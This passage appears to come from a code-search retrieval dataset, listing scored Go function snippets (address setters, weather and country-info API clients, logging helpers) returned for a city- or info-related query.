"4d6e6f633db1d7acac1cfc2d3204bdbd", "score": "0.48962724", "text": "func (c city) GetDataPointType() string {\n\treturn \"city\"\n}", "title": "" }, { "docid": "430513e7cae046b839205c1bb084b9c4", "score": "0.4895305", "text": "func (o *PeopleJsonPersonAddress) GetCityOk() (*string, bool) {\n\tif o == nil || o.City == nil {\n\t\treturn nil, false\n\t}\n\treturn o.City, true\n}", "title": "" }, { "docid": "55ff3b0f59443609e41751a72ecc8991", "score": "0.488411", "text": "func (s *ContactInformation) SetCity(v string) *ContactInformation {\n\ts.City = &v\n\treturn s\n}", "title": "" }, { "docid": "ce83fcca779f9751c0988fb4f21fe0d6", "score": "0.4869998", "text": "func RequestWeather(city string) (w *WeatherInfo) {\n\n\tweatherURL := BuildWeatherURL(city)\n\n\tresp, err := http.Get(weatherURL)\n\tif err != nil {\n\t\tfmt.Println(\"Connected Error\")\n\t\treturn nil\n\t}\n\n\tdefer resp.Body.Close()\n\tbody, er := ioutil.ReadAll(resp.Body)\n\tif er != nil {\n\t\tfmt.Println(\"Cannot Read Information\")\n\t\treturn nil\n\t}\n\n\tjs, e := simplejson.NewJson(body)\n\tif e != nil {\n\t\tfmt.Println(\"Parsing Json Error\")\n\t\treturn nil\n\t}\n\n\tweatherInfo := new(WeatherInfo)\n\n\tweatherInfo.Temp, _ = js.Get(\"query\").Get(\"results\").Get(\"channel\").Get(\"item\").Get(\"condition\").Get(\"temp\").String()\n\tweatherInfo.Scale, _ = js.Get(\"query\").Get(\"results\").Get(\"channel\").Get(\"units\").Get(\"temperature\").String()\n\tweatherInfo.Humidity, _ = js.Get(\"query\").Get(\"results\").Get(\"channel\").Get(\"atmosphere\").Get(\"humidity\").String()\n\tweatherInfo.Text, _ = js.Get(\"query\").Get(\"results\").Get(\"channel\").Get(\"item\").Get(\"condition\").Get(\"text\").String()\n\tweatherInfo.Code, _ = js.Get(\"query\").Get(\"results\").Get(\"channel\").Get(\"item\").Get(\"condition\").Get(\"code\").String()\n\n\treturn weatherInfo\n}", "title": "" }, { "docid": "6a6253b6593470807809d4ecbf7298b1", "score": "0.48641437", "text": "func (o *CompanyFiscalInfoAddressResponse) HasCity() bool {\n\tif o != nil && !IsNil(o.City) {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "bfb41f764b85e6905b75721b125d3f4f", "score": "0.48355898", "text": "func (o *PartnerEndCustomerAddress) SetCity(v string) {\n\to.City = &v\n}", "title": "" }, { "docid": "cac250a7d0adf6698d1184c9893f0b58", "score": "0.4829683", "text": "func (o *BeaconUserRequestAddress) SetCity(v string) {\n\to.City = v\n}", "title": "" }, { "docid": "a7de3d9de5ee76bb6dbc7988a4d992c7", "score": "0.48267144", "text": "func (c city) GetHash() string {\n\treturn c.Name + \", \" + c.Country\n}", "title": "" }, { "docid": "4c81632be43d8f501679ae4a5b4d7ce2", "score": "0.48196536", "text": "func (a *Client) GetCurrentByCityID(params *GetCurrentByCityIDParams, authInfo runtime.ClientAuthInfoWriter) (*GetCurrentByCityIDOK, error) {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewGetCurrentByCityIDParams()\n\t}\n\n\tresult, err := a.transport.Submit(&runtime.ClientOperation{\n\t\tID: \"getCurrentByCityID\",\n\t\tMethod: \"GET\",\n\t\tPathPattern: \"/data/2.5/weather?id={id}\",\n\t\tProducesMediaTypes: []string{\"application/json\"},\n\t\tConsumesMediaTypes: []string{\"application/json\"},\n\t\tSchemes: []string{\"https\"},\n\t\tParams: params,\n\t\tReader: &GetCurrentByCityIDReader{formats: a.formats},\n\t\tAuthInfo: authInfo,\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tsuccess, ok := result.(*GetCurrentByCityIDOK)\n\tif ok {\n\t\treturn success, nil\n\t}\n\t// unexpected success response\n\tunexpectedSuccess := result.(*GetCurrentByCityIDDefault)\n\treturn nil, runtime.NewAPIError(\"unexpected success response: content available as default response in error\", unexpectedSuccess, unexpectedSuccess.Code())\n}", "title": "" }, { "docid": "80e19c63fb85a0949a0b07ee8373e9cd", "score": "0.48135227", "text": "func (f Faker) City() string {\n\treturn template(\"City\", randomElement(f.CurrentLocale().CityNamesFormats), f)\n}", "title": "" }, { "docid": "a3af323af99c14b56a269790d6101da3", "score": "0.48083043", "text": "func (o *CustomerShippingContactsAddress) SetCity(v string) {\n\to.City = &v\n}", "title": "" }, { "docid": "7e7ee47809b0d68071020e215f0c764a", "score": "0.47853467", "text": "func (c *Client) Info() (map[string]Value, error) {\n\treturn c.doInfo(\"info\")\n}", "title": "" }, { "docid": "3b01f885db6d196a2c02e51ef10e55c3", "score": "0.4780011", "text": "func (xp *Xpost) Info() {\n\tlogInfof(\">>>>>> couriers info:\")\n\tfor _, couriers := range xp.couriers {\n\t\tfor _, courier := range couriers {\n\t\t\tlogInfof(\">>>>>> id: %d\", courier.GetID())\n\t\t\tlogInfof(\">>>>>> name: %s\", courier.GetName())\n\t\t\tlogInfof(\">>>>>> wirecap: %d\", courier.GetWireCap())\n\t\t\tlogInfoln()\n\t\t}\n\t}\n\n\tlogInfoln()\n\txp.ex.Info()\n\n\tlogInfoln()\n\txp.pool.Info()\n}", "title": "" }, { "docid": "40f5b84e74e9314ae16a651663f0ec02", "score": "0.4777636", "text": "func (n *addressNode) City() *query.ColumnNode {\n\tcn := query.NewColumnNode(\n\t\t\"goradd\",\n\t\t\"address\",\n\t\t\"city\",\n\t\t\"City\",\n\t\tquery.ColTypeString,\n\t\tfalse,\n\t)\n\tquery.SetParentNode(cn, n)\n\treturn cn\n}", "title": "" }, { "docid": "b6dd109c5a5f2cff3538cec9c842e566", "score": "0.4772459", "text": "func (c *Client) Info() (*Info, error) {\n\n\tvar req request\n\treq.Query = `\n\t\tquery Info {\n\t\t\tinfo {\n\t\t\t\tnetwork\n\t\t\t\ttime\n\t\t\t\tlightning {\n \t\t\t\thost\n\t\t\t\t\tport\n\t\t\t\t\tminAmount\n\t\t\t\t\tmaxAmount\n\t\t\t\t\tidentityPubkey\n\t\t\t\t\talias\n\t\t\t\t\tnumPendingChannels\n\t\t\t\t\tnumActiveChannels\n\t\t\t\t\tnumPeers\n\t\t\t\t\tblockHeight\n\t\t\t\t\tblockHash\n\t\t\t\t\tsyncedToChain\n\t\t\t\t\tasset\n\t\t\t\t}\n\t\t }\n\t\t}\n\t`\n\n\tresp := struct {\n\t\tresponseBase\n\t\tData struct {\n\t\t\tInfo Info `json:\"info\"`\n\t\t}\n\t}{}\n\n\trespJSON, err := c.do(false, req)\n\tif err != nil {\n\t\treturn &Info{},\n\t\t\terrors.New(\"failed to do request: \" + err.Error())\n\t}\n\n\tif err := json.Unmarshal(respJSON, &resp); err != nil {\n\t\treturn &Info{},\n\t\t\terrors.New(\"failed to json.Unmarshal resp: \" + err.Error())\n\t}\n\n\tif err := resp.Error(); err != nil {\n\t\treturn &Info{},\n\t\t\terrors.New(\"exchange error: \" + err.Error())\n\t}\n\n\treturn &resp.Data.Info, nil\n}", "title": "" }, { "docid": "cf584abd78fe3cf70fada1e73b84c982", "score": "0.47717318", "text": "func Info(c *gin.Context) {\n\tresponse, err1 := http.Get(url)\n\tif err1 != nil {\n\t\tlog.Println(err1)\n\t\tos.Exit(1)\n\t}\n\n\tdata, err2 := ioutil.ReadAll(response.Body)\n\tif err2 != nil {\n\t\tlog.Println(err2)\n\t\tos.Exit(1)\n\t}\n\n\tvalue := gjson.Get(string(data), \"generalSituation\")\n\tdays := gjson.Get(string(data), \"weatherForecast.#.forecastDate\")\n\tlastUpdate = (gjson.Get(string(data), \"updateTime\")).String()\n\n\tmessage := \"General Weather Situation of coming days:\\n\\n\"\n\tmessage += value.String()\n\n\tmessage += \"\\n\\nAvailable days for weather checking:\\n\\n\"\n\tmessage += days.String()\n\n\tmessage += \"\\n\\nLast Update: \" + lastUpdate\n\n\tc.String(http.StatusOK, message)\n}", "title": "" }, { "docid": "9129929e4d12a3c8880e24ae9e93301d", "score": "0.47661793", "text": "func (*City) Descriptor() ([]byte, []int) {\n\treturn file_source_address_city_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "cd21a17baf59411b0b00b8a3666d5319", "score": "0.47472623", "text": "func getCitiesInBox(f *Feature, distParam string) (response interface{}, status int) {\n\tdist, err := strconv.ParseFloat(distParam, 64)\n\tif err != nil { // bad distance parameter. Should be a float in Km\n\t\treturn makeError(http.StatusBadRequest, \"%q is not a valid distance\", distParam)\n\t}\n\n\t// get all nearby features\n\tfeats, err := featureCollection.GetFeaturesNear(f.Properties.CartoDBId, dist)\n\tif err != nil {\n\t\treturn makeError(http.StatusInternalServerError, err.Error())\n\t}\n\n\tcities := struct {\n\t\tCities map[string]city `json:\"cities\"`\n\t}{\n\t\tCities: make(map[string]city, len(feats)),\n\t}\n\n\tfor _, v := range feats {\n\t\tcities.Cities[strconv.Itoa(v.Properties.CartoDBId)] = featureToCity(v)\n\t}\n\n\treturn makeOk(cities)\n}", "title": "" }, { "docid": "6cb2f172c02efa47b90a1c7acc8933f7", "score": "0.47440308", "text": "func (o *IncomeVerificationPrecheckEmployerAddressData) SetCity(v string) {\n\to.City = &v\n}", "title": "" }, { "docid": "b9a0005217a4c71e7d7cc28cfbc3d6b9", "score": "0.4738377", "text": "func (t *Textile) CafeInfo() *pb.Cafe {\n\treturn t.cafe.info\n}", "title": "" }, { "docid": "b9a0005217a4c71e7d7cc28cfbc3d6b9", "score": "0.4738377", "text": "func (t *Textile) CafeInfo() *pb.Cafe {\n\treturn t.cafe.info\n}", "title": "" }, { "docid": "3a003a459b720363a9f412b1b92fb7ea", "score": "0.47383288", "text": "func getCAdvisorInfo(c echo.Context) error {\n\n\tgroup := c.Get(\"group\").(types.Group)\n\n\tdb := c.Get(\"DB\").(*storage.Docktor)\n\tdaemon, err := db.Daemons().FindByIDBson(group.Daemon)\n\tif err != nil {\n\t\tlog.WithFields(log.Fields{\n\t\t\t\"daemonID\": c.Param(types.DAEMON_ID_PARAM),\n\t\t\t\"error\": err,\n\t\t}).Error(\"Error when retrieving daemon\")\n\t\treturn c.JSON(http.StatusBadRequest, err.Error())\n\t}\n\n\tin, err := daemon.CAdvisorInfoFilterFs(group.Name)\n\tif err != nil {\n\t\tlog.WithFields(log.Fields{\n\t\t\t\"daemonID\": c.Param(types.DAEMON_ID_PARAM),\n\t\t\t\"error\": err,\n\t\t}).Error(\"Error when retrieving cadvisor infos\")\n\t\treturn c.JSON(http.StatusBadRequest, err.Error())\n\t}\n\n\treturn c.JSON(http.StatusOK, in)\n}", "title": "" }, { "docid": "52dcbe2c22352f9b5e3667e9f7f9764f", "score": "0.47355014", "text": "func (c Car) info() string {\n\treturn fmt.Sprintf(\"Car: %s\\nYear: %d\\nColor: %s\", c.Name, c.Year, c.Color)\n}", "title": "" }, { "docid": "d361dc18e01716e46f47c5c47a4a925d", "score": "0.47330087", "text": "func (uu *UserUpdate) SetCity(s string) *UserUpdate {\n\tuu.city = &s\n\treturn uu\n}", "title": "" }, { "docid": "8bfa997f7aea0b4f9d6a0780037d0db1", "score": "0.47237235", "text": "func (g *Geo) Info() string {\n\tif g.City == \"\" {\n\t\tg.City = \"city unknown\"\n\t}\n\tif g.Country == \"\" {\n\t\tg.Country = \"country unknown\"\n\t}\n\tif g.IsoCode == \"\" {\n\t\tg.IsoCode = \"ISO code unknown\"\n\t}\n\treturn fmt.Sprintf(\"Geolocation\\t%s, %s (%s)\", g.City, g.Country, g.IsoCode)\n}", "title": "" }, { "docid": "5ac7b86d0d638277b737829960e298ec", "score": "0.47124818", "text": "func (l *Lifecycle) ChaincodeInfo(channelName, chaincodeName string, qe ledger.SimpleQueryExecutor) (*ledger.DeployedChaincodeInfo, error) {\n\treturn l.LegacyDeployedCCInfoProvider.ChaincodeInfo(channelName, chaincodeName, qe)\n}", "title": "" }, { "docid": "7ad93a4145b19c2376348ebeb38d1bc6", "score": "0.46981993", "text": "func (srv *DSServer) GetCurrencyInfo(_ context.Context, req *dvmTypes.CurrencyInfoRequest) (*dvmTypes.CurrencyInfoResponse, error) {\n\tif req == nil {\n\t\treturn nil, status.Error(codes.InvalidArgument, \"empty request\")\n\t}\n\n\t// Input check\n\tdenom := strings.ToLower(req.Ticker)\n\tif err := sdk.ValidateDenom(denom); err != nil {\n\t\treturn &dvmTypes.CurrencyInfoResponse{\n\t\t\tErrorCode: dvmTypes.ErrorCode_BAD_REQUEST,\n\t\t\tErrorMessage: fmt.Sprintf(\"ticker: %v\", err),\n\t\t}, nil\n\t}\n\n\t// Build response\n\tccInfo := srv.ccInfoProvider.GetVmCurrencyInfo(srv.ctx, denom)\n\tif ccInfo == nil {\n\t\treturn &dvmTypes.CurrencyInfoResponse{\n\t\t\tInfo: nil,\n\t\t\tErrorCode: dvmTypes.ErrorCode_NO_DATA,\n\t\t\tErrorMessage: \"denom not registered\",\n\t\t}, nil\n\t}\n\n\treturn &dvmTypes.CurrencyInfoResponse{Info: ccInfo}, nil\n}", "title": "" }, { "docid": "87be0deaece27dce925dd54a31a78ac9", "score": "0.46980825", "text": "func CountryInfo(proto, domain string) (map[int64]*Country, error) {\n\tvar err error\n\tresult := make(map[int64]*Country)\n\n\tdata, err := httpGet(fmt.Sprintf(\"%s://%s/%s\", proto, domain, countryInfoURL))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tparse(data, 0, func(raw [][]byte) bool {\n\t\tif len(raw) != 19 {\n\t\t\treturn true\n\t\t}\n\n\t\tarea, _ := strconv.ParseFloat(string(raw[6]), 64)\n\t\tpopulation, _ := strconv.ParseUint(string(raw[7]), 10, 64)\n\t\tgeonameID, _ := strconv.ParseInt(string(raw[16]), 10, 64)\n\n\t\tresult[geonameID] = &Country{\n\t\t\tIso2Code: string(raw[0]),\n\t\t\tIso3Code: string(raw[1]),\n\t\t\tIsoNumeric: string(raw[2]),\n\t\t\tFips: string(raw[3]),\n\t\t\tName: string(raw[4]),\n\t\t\tCapital: string(raw[5]),\n\t\t\tArea: area,\n\t\t\tPopulation: population,\n\t\t\tContinent: string(raw[8]),\n\t\t\tTld: string(raw[9]),\n\t\t\tCurrencyCode: string(raw[10]),\n\t\t\tCurrencyName: string(raw[11]),\n\t\t\tPhone: string(raw[12]),\n\t\t\tPostalCodeFormat: string(raw[13]),\n\t\t\tPostalCodeRegex: string(raw[14]),\n\t\t\tLanguages: string(raw[15]),\n\t\t\tGeonameID: geonameID,\n\t\t\tNeighbours: string(raw[17]),\n\t\t\tEquivalentFipsCode: string(raw[18]),\n\t\t}\n\n\t\treturn true\n\t})\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn result, nil\n}", "title": "" }, { "docid": "47c5d6d1b5944d38bee1f659abb1113f", "score": "0.4697954", "text": "func (a API) GetInfo(cmd *None) (e error) {\n\tRPCHandlers[\"getinfo\"].Call <- API{a.Ch, cmd, nil}\n\treturn\n}", "title": "" }, { "docid": "d732ee38d412867c4096341f5c4f0618", "score": "0.46957162", "text": "func (uuo *UserUpdateOne) SetCity(s string) *UserUpdateOne {\n\tuuo.city = &s\n\treturn uuo\n}", "title": "" }, { "docid": "5e8219ead678fb0fc60dac80912faec9", "score": "0.46869853", "text": "func Infoc(ctx context.Context, format string, args ...interface{}) {\n\tlogDepth(ctx, 1, InfoLog, format, args)\n}", "title": "" } ]
4dcf7bbc0a8bbb1eddd526089eecfc50
NewCmd returns a new command.
[ { "docid": "8a74d6f8378b287235417e894f3594d4", "score": "0.6883359", "text": "func NewCmd(db *bolt.DB) *cobra.Command {\n\tcmd := &cobra.Command{\n\t\tUse: \"argon2\",\n\t\tShort: \"Display currently used argon2 parameters\",\n\t\tAliases: []string{\"argon\"},\n\t\tExample: argon2Example,\n\t\tPreRunE: auth.Login(db),\n\t\tRunE: runArgon2(db),\n\t}\n\n\tcmd.AddCommand(test.NewCmd())\n\n\treturn cmd\n}", "title": "" } ]
[ { "docid": "5fff42ca7863e74045f5fd93e0fa1c1d", "score": "0.8111657", "text": "func NewCmd() *Cmd {\n\treturn &Cmd{}\n}", "title": "" }, { "docid": "1b47cf3ff641e312b26bad6d27edd001", "score": "0.7988831", "text": "func NewCmd(cmd string) *Cmd {\n\tsplit := strings.Split(cmd, \" \")\n\treturn &Cmd{\n\t\tcmd: split[0],\n\t\targs: split[1:],\n\t}\n}", "title": "" }, { "docid": "4d3d807d365bbfa5d3bc327d004832d9", "score": "0.77037865", "text": "func NewCommand(name string, fcts map[string]CommandFct, ctx CmdCtx) *Command {\n\tvar cmd Command\n\tcmd.OneItem = *NewItem(name)\n\tif fcts == nil {\n\t\tfcts = make(map[string]CommandFct)\n\t}\n\tcmd.Fcts = fcts\n\tcmd.Ctx = ctx\n\tcmd.SetBuffer(make([]byte, 20, 80))\n\treturn &cmd\n}", "title": "" }, { "docid": "9ecf8b608e4ef830831120890acefa16", "score": "0.7617606", "text": "func New(maxAge time.Duration, command string, args ...string) *Cmd {\n\treturn &Cmd{\n\t\tCommand: command,\n\t\tArgs: args,\n\t\tlastRun: time.Time{},\n\t\tmaxAge: maxAge,\n\t\tcache: bytes.Buffer{},\n\t}\n}", "title": "" }, { "docid": "8695b23f1b00ae5175356ba1a9237456", "score": "0.76123", "text": "func NewCmd() adaptors.Cmd {\n\twire.Build(\n\t\tauth.Set,\n\t\tauth.ExtraSet,\n\t\tlogin.Set,\n\t\tcmd.Set,\n\t\tenv.Set,\n\t\tkubeconfig.Set,\n\t\toidc.Set,\n\t\tlogger.Set,\n\t)\n\treturn nil\n}", "title": "" }, { "docid": "3ee00127af92794343f8db7eea7551ea", "score": "0.76028544", "text": "func New(cmd string, defaultArgs ...string) (*Command, error) {\n\tc := &Command{\n\t\tcmd: cmd,\n\t\tdefaultArgs: defaultArgs,\n\t}\n\n\treturn c, c.verify()\n}", "title": "" }, { "docid": "f51c094c2993dd50954c31a54712bf9b", "score": "0.7568519", "text": "func New() Command {\n\treturn &command{}\n}", "title": "" }, { "docid": "de62aa1cd5ee9160a3c6a4623db1ae7f", "score": "0.7544713", "text": "func NewCmd(args []string) *exec.Cmd {\n\tvar cmd *exec.Cmd\n\n\tif len(args) == 1 {\n\t\tcmd = exec.Command(args[0])\n\t} else {\n\t\tcmd = exec.Command(args[0], args[1:]...)\n\t}\n\n\treturn cmd\n}", "title": "" }, { "docid": "132c676de0c8ccde0f6a68e863bb454b", "score": "0.74720377", "text": "func New(c map[string]CmdFn, in io.Reader, out io.Writer) *Cmd {\n\tcmd := Cmd{In: in, Out: out, Prompt: DefaultPrompt, LastLine: \"\", Commands: c}\n\tcmd.EmptyLine = func() (string, error) {\n\t\tif len(cmd.LastLine) > 0 {\n\t\t\treturn \"\", cmd.one(cmd.LastLine)\n\t\t}\n\t\treturn \"\", nil\n\t}\n\tcmd.Default = func(line string) (string, error) {\n\t\treturn fmt.Sprintf(\"unrecognized command: %s\\n\", strings.Fields(line)[0]), nil\n\t}\n\tcmd.Tokens = strings.Fields\n\treturn &cmd\n}", "title": "" }, { "docid": "628a32137b9e7f5f7441b3b7e2c34860", "score": "0.7457206", "text": "func NewCommand(name, desc string) *Command {\n\targs := []string{}\n\treturn &Command{name, desc, args}\n}", "title": "" }, { "docid": "9ca7f15314fe064b38923890c605b94f", "score": "0.7443175", "text": "func NewCommand(cmd, help string) *Command {\n\treturn &Command{\n\t\tCmd: cmd,\n\t\tHelpText: help,\n\t}\n}", "title": "" }, { "docid": "2e784a96a6118b6fc0ec0990721cfe87", "score": "0.7435269", "text": "func NewCmd() *cobra.Command {\n\thub := &cobra.Command{\n\t\tUse: \"environment\",\n\t\tAliases: []string{\"env\"},\n\t\tShort: \"This command consists of multiple subcommands to interact with a Capact environments\",\n\t}\n\n\thub.AddCommand(\n\t\tcreate.NewCmd(),\n\t\tdeletecluster.NewCmd(),\n\t)\n\n\treturn hub\n}", "title": "" }, { "docid": "d1441acc6e9586757cd7fad53861dce4", "score": "0.7396241", "text": "func NewCmd(cmdstr string) (c *Cmd, err error) {\n\tcommand := splitWsQuote(cmdstr)\n\n\tif len(command) == 0 {\n\t\treturn nil, util.E.New(\"A command could not be parsed from: %s\", cmdstr)\n\t}\n\n\tc = &Cmd{command}\n\n\t_, err = exec.LookPath(c.Cmd[0])\n\tif err != nil {\n\t\treturn nil, util.E.Annotate(err, \"Command\", c.Cmd[0], \"could not be found\")\n\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "b3c82d157792240ff40141e771563f4a", "score": "0.7375891", "text": "func NewCmd(args []string) tinycli.Cmd {\n\tcmd := strings.Join(args[1:], \" \")\n\treturn &notifyCmd{cmd: cmd}\n}", "title": "" }, { "docid": "0185ca26fd95f915b8dcea6ce40bfad0", "score": "0.73756593", "text": "func (p *PayPro) NewCommand(c string) *Command {\n\tr := &Command{\n\t\tp.url,\n\t\tc,\n\t\tp.key,\n\t\tp.debug,\n\t\tmake(map[string]interface{}),\n\t}\n\n\tif p.debug {\n\t\tr.Set(\"test_mode\", \"true\")\n\t}\n\n\treturn r\n}", "title": "" }, { "docid": "e636d04aae3d16d7a32d67db807d0267", "score": "0.7354471", "text": "func NewCmd() *cobra.Command {\n\tnewCmd := &cobra.Command{\n\t\tUse: \"new-ns <namespace-name> [required-flags]\",\n\t\tShort: \"Creates a new namespace with new user\",\n\t\tLong: ``,\n\t\tRun: newFunc,\n\t}\n\n\tnewCmd.Flags().StringArrayVar(&usersCfg, \"user\", []string{}, \"user name\")\n\tnewCmd.Flags().StringVar(&kubeConfig, \"kubeconfig\", \"\", \"kubeconfig file path\")\n\tnewCmd.Flags().StringVar(&outputPath, \"output\", \"\", \"kubeconfig file path\")\n\n\treturn newCmd\n}", "title": "" }, { "docid": "697c70d096a4505f6c6a9b2c2ddf37e1", "score": "0.73123074", "text": "func NewCmd() tinycli.Cmd {\n\treturn &prestopCmd{}\n}", "title": "" }, { "docid": "4d166712b3d09a0948528a1ef2034066", "score": "0.7284594", "text": "func NewCommand(name string) *cobra.Command {\n\tcmd := &cobra.Command{\n\t\tUse: name,\n\t\tShort: \"DMaaS operator to backup and restore k8s resources\",\n\t}\n\n\tconfig := NewConfig()\n\n\tcmd.AddCommand(\n\t\tNewCmdVersion(),\n\t\tNewCmdServer(config),\n\t)\n\n\t// add klog flag to filter logs from modules, using klog\n\tklog.InitFlags(flag.CommandLine)\n\n\tcmd.PersistentFlags().AddGoFlagSet(flag.CommandLine)\n\treturn cmd\n}", "title": "" }, { "docid": "5f3380c56e0a68e187120600e71116e2", "score": "0.72824734", "text": "func NewCmd(db *bolt.DB) *cobra.Command {\n\topts := copyOptions{}\n\n\tcmd := &cobra.Command{\n\t\tUse: \"copy <name>\",\n\t\tShort: \"Copy card number or security code\",\n\t\tAliases: []string{\"cp\"},\n\t\tExample: example,\n\t\tArgs: cmdutil.MustExist(db, cmdutil.Card),\n\t\tPreRunE: auth.Login(db),\n\t\tRunE: runCard(db, &opts),\n\t\tPostRun: func(cmd *cobra.Command, args []string) {\n\t\t\t// Reset variables (session)\n\t\t\topts = copyOptions{}\n\t\t},\n\t}\n\n\tf := cmd.Flags()\n\tf.BoolVarP(&opts.cvc, \"cvc\", \"c\", false, \"copy card security code\")\n\tf.DurationVarP(&opts.timeout, \"timeout\", \"t\", 0, \"clipboard clearing timeout\")\n\n\treturn cmd\n}", "title": "" }, { "docid": "f410fefb3ab2d3484f827e6eb0c024f6", "score": "0.7265731", "text": "func NewCommand(ctx context.Context, name string, s *provider.Store, c Opts) *cobra.Command {\n\tcmd := &cobra.Command{\n\t\tUse: name,\n\t\tShort: name + \" provides a virtual kubelet interface for your kubernetes cluster.\",\n\t\tLong: name + ` implements the Kubelet interface with a pluggable\nbackend implementation allowing users to create kubernetes nodes without running the kubelet.\nThis allows users to schedule kubernetes workloads on nodes that aren't running Kubernetes.`,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\treturn runRootCommand(ctx, s, c)\n\t\t},\n\t}\n\n\tinstallFlags(cmd.Flags(), &c)\n\treturn cmd\n}", "title": "" }, { "docid": "bbce656c3d5fd16084d2916149662a73", "score": "0.7235303", "text": "func (c *Client) NewCommand() *Command {\n\treturn &Command{client: c}\n}", "title": "" }, { "docid": "5b43f3a01c6a4da3c6e90037746981a2", "score": "0.7223388", "text": "func (c *Command) NewCommand(name, usage string) *Command {\n\tif c.ShowHelp == nil && name != \"help\" {\n\t\tc.ShowHelp = ShowUsage\n\t}\n\n\tnewcmd := &Command{Name: name, Usage: usage}\n\tc.SubCommands.append(newcmd)\n\treturn newcmd\n}", "title": "" }, { "docid": "98c0932832e997887839c1cf0561f5e5", "score": "0.72224665", "text": "func New(fset *flag.FlagSet) *Command {\n\tif fset == nil {\n\t\tfset = flag.CommandLine\n\t\tfset.Usage = nil // Remove the default usage as it does not know about commands\n\t}\n\treturn &Command{\n\t\tApplication: Application{Name: program()},\n\t\tfset: fset,\n\t}\n}", "title": "" }, { "docid": "8e219dc2bc4e4dde0a9dd3b78845d073", "score": "0.7219289", "text": "func NewCommand(\n\tctx context.Context,\n\twg *sync.WaitGroup,\n\tlc logger.LoggingClient,\n\tconf *config.ConfigurationStruct,\n\targs []string) (interfaces.Command, error) {\n\n\tcmd := cmd{\n\t\tloggingClient: lc,\n\t\tconfig: conf,\n\t\tcntx: ctx,\n\t\twaitGroup: wg,\n\t}\n\tvar dummy string\n\n\tflagSet := flag.NewFlagSet(CommandName, flag.ContinueOnError)\n\tflagSet.StringVar(&dummy, \"confdir\", \"\", \"\") // handled by bootstrap; duplicated here to prevent arg parsing errors\n\n\terr := flagSet.Parse(args)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Unable to parse command: %s: %w\", strings.Join(args, \" \"), err)\n\t}\n\n\treturn &cmd, nil\n}", "title": "" }, { "docid": "f6b4da6b298e22e7fa2255c27652aabb", "score": "0.71724105", "text": "func NewCmd(db *bolt.DB) *cobra.Command {\n\topts := copyOptions{}\n\n\tcmd := &cobra.Command{\n\t\tUse: \"copy <name>\",\n\t\tShort: \"Copy entry credentials to the clipboard\",\n\t\tAliases: []string{\"cp\"},\n\t\tExample: example,\n\t\tArgs: cmdutil.MustExist(db, cmdutil.Entry),\n\t\tPreRunE: auth.Login(db),\n\t\tRunE: runCopy(db, &opts),\n\t\tPostRun: func(cmd *cobra.Command, args []string) {\n\t\t\t// Reset variables (session)\n\t\t\topts = copyOptions{}\n\t\t},\n\t}\n\n\tf := cmd.Flags()\n\tf.DurationVarP(&opts.timeout, \"timeout\", \"t\", 0, \"clipboard clearing timeout\")\n\tf.BoolVarP(&opts.username, \"username\", \"u\", false, \"copy entry username\")\n\n\treturn cmd\n}", "title": "" }, { "docid": "cb86e9633621d2f17f6fe4ec3c0bd494", "score": "0.7172243", "text": "func New(name, usage string) *Command {\n\treturn &Command{\n\t\tName: name,\n\t\tUsage: usage,\n\t\tShowHelp: ShowUsage,\n\t\tShowVersion: ShowVersion,\n\t}\n}", "title": "" }, { "docid": "e76df1c2e82dff74dccad6da0eed79c9", "score": "0.7166093", "text": "func (s LogEntry) NewCommand() (Command, error) {\n\tss, err := NewCommand(s.Struct.Segment())\n\tif err != nil {\n\t\treturn Command{}, err\n\t}\n\terr = s.Struct.SetPtr(0, ss.Struct.ToPtr())\n\treturn ss, err\n}", "title": "" }, { "docid": "65b3cda47bf6bbf3508c5703d887792a", "score": "0.71614134", "text": "func New(command ...string) *Command {\n\treturn &Command{name: command[0], args: command[1:]}\n}", "title": "" }, { "docid": "16713d0b9fd4f4cc52a34803fcbe8b69", "score": "0.715253", "text": "func New(s string) Command {\r\n\tsa := strings.Split(s, \" \")\r\n\r\n\tc := Command{}\r\n\ti := 0\r\n\tif len(sa) > 1 {\r\n\t\tif sa[i] == \"sudo\" {\r\n\t\t\tc.Sudo = true\r\n\t\t\ti++\r\n\t\t}\r\n\t\tc.Name = sa[i]\r\n\t\ti++\r\n\t\tc.Arguments = sa[i:]\r\n\r\n\t} else {\r\n\t\tc.Sudo = false\r\n\t\tc.Name = sa[0]\r\n\t}\r\n\treturn c\r\n\r\n}", "title": "" }, { "docid": "a3ce492556971459652d42415755721c", "score": "0.7150767", "text": "func NewCommand(pctx context.Context, v *nvim.Nvim, buildctxt *buildctx.Context) *Command {\n\tctx, cancel := context.WithCancel(pctx)\n\tctx = logger.NewContext(ctx, logger.FromContext(ctx).Named(\"command\"))\n\n\treturn &Command{\n\t\tctx: ctx,\n\t\tcancel: cancel,\n\t\tNvim: v,\n\t\tbuildContext: buildctxt,\n\t\terrs: new(syncmap.Map),\n\t}\n}", "title": "" }, { "docid": "b933e344ad2a46e68b8789814f1b4717", "score": "0.7109644", "text": "func NewCommand(ctx *pulumi.Context,\n\tname string, args *CommandArgs, opts ...pulumi.ResourceOption) (*Command, error) {\n\tif args == nil {\n\t\treturn nil, errors.New(\"missing one or more required arguments\")\n\t}\n\n\tif args.Create == nil {\n\t\treturn nil, errors.New(\"invalid value for required argument 'Create'\")\n\t}\n\tvar resource Command\n\terr := ctx.RegisterResource(\"command:v1:Command\", name, args, &resource, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &resource, nil\n}", "title": "" }, { "docid": "30e4e94e3356d99afa614b672855d4d7", "score": "0.7091503", "text": "func NewCmd() *cobra.Command {\n\thub := &cobra.Command{\n\t\tUse: \"hub\",\n\t\tShort: \"This command consists of multiple subcommands to interact with Hub server.\",\n\t}\n\n\thub.AddCommand(\n\t\tinterfaces.NewInterfaces(),\n\t\timplementations.NewImplementations(),\n\t)\n\n\treturn hub\n}", "title": "" }, { "docid": "983c566d5ed7b705b71428f4c2132a9c", "score": "0.7058033", "text": "func NewCmd(name string, d diagnostics.Diagnostics, exe string, xvfb 